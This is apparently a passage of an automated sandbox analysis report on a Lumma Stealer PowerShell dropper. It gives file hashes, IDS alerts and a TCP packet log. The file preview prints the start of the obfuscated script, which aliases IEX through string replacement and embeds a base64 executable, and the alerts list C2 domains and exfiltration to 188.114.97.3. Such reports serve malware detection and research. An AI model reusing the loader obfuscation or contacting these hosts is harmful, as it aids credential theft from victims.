Preview:	...................................FL..................F.".. ....N.5q...9..f..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........5q...G.6.f...=..f......t...CFSF..1.....EW)N..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)N.Z"............................c..A.p.p.D.a.t.a...B.V.1......Z ...Roaming.@......EW)N.Z ...........................k...R.o.a.m.i.n.g.....\.1.....EW.R..MICROS~1..D......EW)N.Z............................O~X.M.i.c.r.o.s.o.f.t.....V.1.....EW.S..Windows.@......EW)N.Z................................W.i.n.d.o.w.s.......1.....EW+N..STARTM~1..n......EW)N.Z......................D......H..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW#O..Programs..j......EW)N.Z......................@.......\|.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)NEW)N..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~2.LNK..^......EW)N.Z$.................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6220
Entropy (8bit):	3.7292965457861227
Encrypted:	false
SSDEEP:	48:yf+TePCg8oU2fvsPukvhkvklCywlgjJIIlL8sSogZoKDJIIl/8sSogZo+1:h6PCg84dkvhkvCCt4JIIkH/JIIEHF
MD5:	097D0312BBBE7C31421361F199D5E9DD
SHA1:	B01619A92440857DB3D4A8E58B9226E1F003418B
SHA-256:	8C5C4BC4E512CC94723D84B5F9A3FE568A4EBAA8820A3990575607C99A0AD662
SHA-512:	A662CA12CB1B2E100EDC573FE1C544CC1A1DC285F83FE8129667BCA39CB499B6EC72986D9FCDAED366E9B0ED51C2AF988C03C8419D5FF70440D6C8CD11A0A349
Malicious:	false
Preview:	...................................FL..................F.".. ....N.5q...9..f..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........5q...G.6.f...=..f......t...CFSF..1.....EW)N..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)N.Z"............................c..A.p.p.D.a.t.a...B.V.1......Z ...Roaming.@......EW)N.Z ...........................k...R.o.a.m.i.n.g.....\.1.....EW.R..MICROS~1..D......EW)N.Z............................O~X.M.i.c.r.o.s.o.f.t.....V.1.....EW.S..Windows.@......EW)N.Z................................W.i.n.d.o.w.s.......1.....EW+N..STARTM~1..n......EW)N.Z......................D......H..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW#O..Programs..j......EW)N.Z......................@.......\|.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)NEW)N..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~2.LNK..^......EW)N.Z$.................

Static File Info

General

File type:	ASCII text, with very long lines (65478), with CRLF line terminators
Entropy (8bit):	5.491524367200651
TrID:
File name:	62.122.184.98 (3).ps1
File size:	537'125 bytes
MD5:	2b60655a425eaa036531f18e96741444
SHA1:	ffa85842df96dac9f6dac782cb1081251eaac749
SHA256:	930a09e6ee090e9f2b67e1a37270b4c31e3cb4fdad55cd8db34b11519759f145
SHA512:	42c0cb45071acb2a160888885937cf8fa541786384b5bf12b8803a61b7869f1afc45f94f2b2d138490c4079a8139bbbeec2a62c48615eb3877644de6a7da571a
SSDEEP:	12288:srScfYL0kaO7oNtiE45hXTLr1qwofa54+:1QNtobTL5ofk4+
TLSH:	62B47D3141033C6E37AA2ECEA4006EC10C9D7997BB54D550AE899176B2BE13B4F6D9FC
File Content Preview:	.. $t0='IQIQQIIQIQQEX'.replace('IQIQQ','');sal GG $t0;....$OE="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDANfKUWcAAAAAAA

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T18:01:09.868069+0100	2059137	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (littlenotii .biz)	1	192.168.2.10	54196	1.1.1.1	53	UDP
2025-01-14T18:01:09.877880+0100	2059133	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fraggielek .biz)	1	192.168.2.10	64828	1.1.1.1	53	UDP
2025-01-14T18:01:09.890771+0100	2059135	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grandiouseziu .biz)	1	192.168.2.10	57637	1.1.1.1	53	UDP
2025-01-14T18:01:09.903271+0100	2059141	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (marketlumpe .biz)	1	192.168.2.10	57333	1.1.1.1	53	UDP
2025-01-14T18:01:09.914056+0100	2059143	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (nuttyshopr .biz)	1	192.168.2.10	54253	1.1.1.1	53	UDP
2025-01-14T18:01:09.924697+0100	2059145	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (punishzement .biz)	1	192.168.2.10	57389	1.1.1.1	53	UDP
2025-01-14T18:01:09.936322+0100	2059151	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spookycappy .biz)	1	192.168.2.10	62955	1.1.1.1	53	UDP
2025-01-14T18:01:09.947255+0100	2059153	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (truculengisau .biz)	1	192.168.2.10	64010	1.1.1.1	53	UDP
2025-01-14T18:01:10.624646+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49704	104.102.49.254	443	TCP
2025-01-14T18:01:11.784193+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.10	49704	104.102.49.254	443	TCP
2025-01-14T18:01:12.372040+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49711	188.114.97.3	443	TCP
2025-01-14T18:01:13.123944+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.10	49711	188.114.97.3	443	TCP
2025-01-14T18:01:13.123944+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49711	188.114.97.3	443	TCP
2025-01-14T18:01:13.594418+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49717	188.114.97.3	443	TCP
2025-01-14T18:01:14.083227+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.10	49717	188.114.97.3	443	TCP
2025-01-14T18:01:14.083227+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49717	188.114.97.3	443	TCP
2025-01-14T18:01:14.833090+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49728	188.114.97.3	443	TCP
2025-01-14T18:01:16.415374+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49737	188.114.97.3	443	TCP
2025-01-14T18:01:17.485915+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49745	188.114.97.3	443	TCP
2025-01-14T18:01:18.529051+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49751	188.114.97.3	443	TCP
2025-01-14T18:01:18.991769+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.10	49751	188.114.97.3	443	TCP
2025-01-14T18:01:19.821171+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49761	188.114.97.3	443	TCP
2025-01-14T18:01:19.827392+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.10	49761	188.114.97.3	443	TCP
2025-01-14T18:01:23.192598+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.10	49782	188.114.97.3	443	TCP
2025-01-14T18:01:23.963228+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.10	49782	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 18:01:09.971975088 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:09.972011089 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:09.972276926 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:09.973572016 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:09.973583937 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:10.624577045 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:10.624645948 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:10.629590034 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:10.629595995 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:10.629839897 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:10.677546978 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.067842007 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.111356974 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.784202099 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.784223080 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.784261942 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.784275055 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.784302950 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.784317970 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.784317970 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.784324884 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.784332991 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.784359932 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.784394026 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.885795116 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.885819912 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.885905027 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.885905027 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.885914087 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.885984898 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.890713930 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.890783072 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.895344019 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.895402908 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.895409107 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.895420074 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.895476103 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.896020889 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.896035910 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.896053076 CET	49704	443	192.168.2.10	104.102.49.254
Jan 14, 2025 18:01:11.896058083 CET	443	49704	104.102.49.254	192.168.2.10
Jan 14, 2025 18:01:11.908797026 CET	49711	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:11.908840895 CET	443	49711	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:11.909486055 CET	49711	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:11.909794092 CET	49711	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:11.909806967 CET	443	49711	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:12.371978045 CET	443	49711	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:12.372040033 CET	49711	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:12.373469114 CET	49711	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:12.373475075 CET	443	49711	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:12.373713017 CET	443	49711	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:12.375015974 CET	49711	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:12.375065088 CET	49711	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:12.375073910 CET	443	49711	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:13.123927116 CET	443	49711	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:13.124011993 CET	443	49711	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:13.124109983 CET	49711	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:13.124636889 CET	49711	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:13.124659061 CET	443	49711	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:13.124670982 CET	49711	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:13.124676943 CET	443	49711	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:13.136827946 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:13.136877060 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:13.136943102 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:13.137213945 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:13.137229919 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:13.594353914 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:13.594418049 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:13.595927000 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:13.595936060 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:13.596178055 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:13.597467899 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:13.597493887 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:13.597532034 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.083225965 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.083278894 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.083309889 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.083352089 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.083376884 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.083408117 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.083420038 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.083479881 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.083506107 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.083550930 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.083559990 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.083664894 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.084177971 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.088865042 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.088892937 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.088917971 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.088922977 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.088937044 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.088984013 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.170092106 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.170155048 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.170211077 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.170238018 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.170253992 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.170301914 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.170511961 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.170528889 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.170537949 CET	49717	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.170542955 CET	443	49717	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.250034094 CET	49728	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.250080109 CET	443	49728	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.250375032 CET	49728	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.251336098 CET	49728	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.251358986 CET	443	49728	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.832950115 CET	443	49728	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.833090067 CET	49728	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.834472895 CET	49728	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.834481001 CET	443	49728	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.834743023 CET	443	49728	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:14.836106062 CET	49728	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.836714983 CET	49728	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:14.836764097 CET	443	49728	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:15.765527964 CET	443	49728	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:15.765614986 CET	443	49728	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:15.765856028 CET	49728	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:15.816546917 CET	49728	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:15.816585064 CET	443	49728	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:15.911277056 CET	49737	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:15.911303043 CET	443	49737	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:15.911362886 CET	49737	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:15.911637068 CET	49737	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:15.911652088 CET	443	49737	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:16.415299892 CET	443	49737	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:16.415374041 CET	49737	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:16.417007923 CET	49737	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:16.417023897 CET	443	49737	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:16.417294025 CET	443	49737	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:16.418683052 CET	49737	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:16.418847084 CET	49737	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:16.418888092 CET	443	49737	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:16.418939114 CET	49737	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:16.459331989 CET	443	49737	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:16.909528017 CET	443	49737	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:16.909657955 CET	443	49737	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:16.909725904 CET	49737	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:16.909849882 CET	49737	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:16.909871101 CET	443	49737	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:17.021035910 CET	49745	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:17.021094084 CET	443	49745	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:17.021189928 CET	49745	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:17.021688938 CET	49745	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:17.021708965 CET	443	49745	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:17.485676050 CET	443	49745	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:17.485914946 CET	49745	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:17.487227917 CET	49745	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:17.487234116 CET	443	49745	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:17.487478018 CET	443	49745	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:17.488759995 CET	49745	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:17.488931894 CET	49745	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:17.488955975 CET	443	49745	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:17.489047050 CET	49745	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:17.489056110 CET	443	49745	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:17.975634098 CET	443	49745	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:17.975755930 CET	443	49745	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:17.975810051 CET	49745	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:17.976016045 CET	49745	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:17.976035118 CET	443	49745	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:18.069391966 CET	49751	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:18.069426060 CET	443	49751	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:18.069499969 CET	49751	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:18.069756031 CET	49751	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:18.069768906 CET	443	49751	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:18.528961897 CET	443	49751	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:18.529051065 CET	49751	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:18.530316114 CET	49751	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:18.530329943 CET	443	49751	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:18.530612946 CET	443	49751	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:18.532210112 CET	49751	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:18.532210112 CET	49751	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:18.532267094 CET	443	49751	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:18.991791964 CET	443	49751	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:18.991883039 CET	443	49751	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:18.992021084 CET	49751	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:18.992149115 CET	49751	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:18.992171049 CET	443	49751	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.344208002 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.344248056 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.344347000 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.344767094 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.344779015 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.821060896 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.821171045 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.822504044 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.822509050 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.822828054 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.825705051 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.826838017 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.826858044 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.826955080 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.826970100 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.827203035 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.827219963 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.827336073 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.827366114 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.827491999 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.827506065 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.827637911 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.827661991 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.827670097 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.827675104 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.827802896 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.827816963 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.827833891 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.827852964 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.827934980 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.827958107 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.827975035 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.839077950 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:19.839234114 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.839260101 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.839281082 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:19.839335918 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:22.597553968 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:22.597677946 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:22.597740889 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:22.614237070 CET	49761	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:22.614257097 CET	443	49761	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:22.731779099 CET	49782	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:22.731803894 CET	443	49782	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:22.731873035 CET	49782	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:22.734308004 CET	49782	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:22.734321117 CET	443	49782	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:23.192516088 CET	443	49782	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:23.192598104 CET	49782	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:23.194139004 CET	49782	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:23.194149017 CET	443	49782	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:23.194397926 CET	443	49782	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:23.195614100 CET	49782	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:23.195636988 CET	49782	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:23.195694923 CET	443	49782	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:23.963156939 CET	443	49782	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:23.963255882 CET	443	49782	188.114.97.3	192.168.2.10
Jan 14, 2025 18:01:23.963323116 CET	49782	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:23.963587046 CET	49782	443	192.168.2.10	188.114.97.3
Jan 14, 2025 18:01:23.963601112 CET	443	49782	188.114.97.3	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
